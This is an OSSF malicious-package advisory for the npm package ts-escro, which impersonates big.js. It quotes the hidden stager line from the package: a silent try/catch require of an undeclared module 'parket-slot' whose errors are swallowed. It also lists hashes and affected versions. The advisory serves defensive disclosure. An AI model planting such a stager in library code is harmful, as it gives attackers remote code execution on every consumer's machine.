MAL-2026-6319
Vulnerability from ossf_malicious_packages
Published
2026-06-23 16:11
Modified
2026-06-23 16:56
Summary
Malicious code in ts-escro (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (26030cb7301c4ff9ea68753581f70290a957e1422b425df7119416fea126c324)

The package ships a verbatim copy of MikeMcl/big.js v7.0.1 (same banner, MIT copyright, and API) but is published under a different name (ts-escro). At module load time, big.js line 606 (and big.mjs:606) executes try { const doc = require('parket-slot'); doc.from_str().then(e => {}).catch(e => {}) } catch (error) {}, silently attempting to load and invoke an undeclared third-party module 'parket-slot' with all errors swallowed. The package.json declares no dependency on 'parket-slot'; the only declared dependency is a non-resolvable local filesystem path log-taker: file:../log-taker, which indicates the artifact was published from a staging directory and could not have been produced through normal release engineering. Any consumer that require()s ts-escro triggers the hidden loader. Whoever controls future publishes of the 'parket-slot' name turns every ts-escro install into remote code execution at require-time. The impersonation-of-big.js cover, undeclared loader, swallowed errors, and broken staging dependency together establish a typosquat-loader / stager pattern with clear malicious intent.

CWE
  • CWE-506 - The product contains code that appears to be malicious in nature.
  • CWE-506 - The product contains code that appears to be malicious in nature.
Credits

{
  "affected": [
    {
      "database_specific": {
        "cwes": [
          {
            "cweId": "CWE-506",
            "description": "The product contains code that appears to be malicious in nature.",
            "name": "Embedded Malicious Code"
          },
          {
            "cweId": "CWE-506",
            "description": "The product contains code that appears to be malicious in nature.",
            "name": "Embedded Malicious Code"
          }
        ],
        "indicators": {
          "evidence_files": [
            {
              "path": "big.js",
              "sha256": "5b803b2bbd43db704b5802fa5bf4da96e79c3b876d74495116b53a837101dace",
              "tlsh": "24c2658c3ac67579593363788f4a5088eb38525712c8b186b4ae63b46f78cb107b5fdc"
            },
            {
              "path": "package.json",
              "sha256": "a251278e6809c3040aaa0554ba72d81061908ef2cad299aa88a4c016007ffc34",
              "tlsh": "2a213467c9a19da70af89b947c6c43aaf1151b1f00a04c17b07b130c4b3355b2096bbd"
            }
          ],
          "package_integrity": [
            {
              "filename": "ts-escro-0.0.6.tgz",
              "hashes": {
                "sha1": "88178fbc3cc1bbaf621c008374e07c6736a9260f",
                "sha512_sri": "sha512-hACLJvXwrtiI9k+vXOGryzvweY8mLm300CxpmMB3l6VKPbkS+DZh4RExfcM2k5p0T6n0Y0zNvLp1Bgsi/tt9+w=="
              }
            }
          ]
        }
      },
      "package": {
        "ecosystem": "npm",
        "name": "ts-escro"
      },
      "versions": [
        "0.0.6",
        "0.0.8"
      ]
    }
  ],
  "credits": [
    {
      "contact": [
        "inspector-research@amazon.com"
      ],
      "name": "Amazon Inspector",
      "type": "FINDER"
    }
  ],
  "database_specific": {
    "malicious-packages-origins": [
      {
        "id": "IN-MAL-2026-007261",
        "import_time": "2026-06-23T16:54:12.607906457Z",
        "modified_time": "2026-06-23T16:11:18Z",
        "sha256": "26030cb7301c4ff9ea68753581f70290a957e1422b425df7119416fea126c324",
        "source": "amazon-inspector",
        "versions": [
          "0.0.6"
        ]
      },
      {
        "id": "IN-MAL-2026-007268",
        "import_time": "2026-06-23T16:54:13.323926281Z",
        "modified_time": "2026-06-23T16:11:24Z",
        "sha256": "9b5a10f4679dd3b65ce4cdfb738644518a1c9836b2ce648277d1bcb449c496e3",
        "source": "amazon-inspector",
        "versions": [
          "0.0.8"
        ]
      }
    ]
  },
  "details": "\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (26030cb7301c4ff9ea68753581f70290a957e1422b425df7119416fea126c324)\nThe package ships a verbatim copy of MikeMcl/big.js v7.0.1 (same banner, MIT copyright, and API) but is published under a different name (ts-escro). At module load time, big.js line 606 (and big.mjs:606) executes `try { const doc = require(\u0027parket-slot\u0027); doc.from_str().then(e =\u003e {}).catch(e =\u003e {}) } catch (error) {}`, silently attempting to load and invoke an undeclared third-party module \u0027parket-slot\u0027 with all errors swallowed. The package.json declares no dependency on \u0027parket-slot\u0027; the only declared dependency is a non-resolvable local filesystem path `log-taker: file:../log-taker`, which indicates the artifact was published from a staging directory and could not have been produced through normal release engineering. Any consumer that require()s ts-escro triggers the hidden loader. Whoever controls future publishes of the \u0027parket-slot\u0027 name turns every ts-escro install into remote code execution at require-time. The impersonation-of-big.js cover, undeclared loader, swallowed errors, and broken staging dependency together establish a typosquat-loader / stager pattern with clear malicious intent.\n",
  "id": "MAL-2026-6319",
  "modified": "2026-06-23T16:56:09Z",
  "published": "2026-06-23T16:11:18Z",
  "references": [
    {
      "type": "PACKAGE",
      "url": "https://www.npmjs.com/package/ts-escro/v/0.0.6"
    },
    {
      "type": "PACKAGE",
      "url": "https://www.npmjs.com/package/ts-escro/v/0.0.8"
    }
  ],
  "schema_version": "1.7.4",
  "summary": "Malicious code in ts-escro (npm)"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…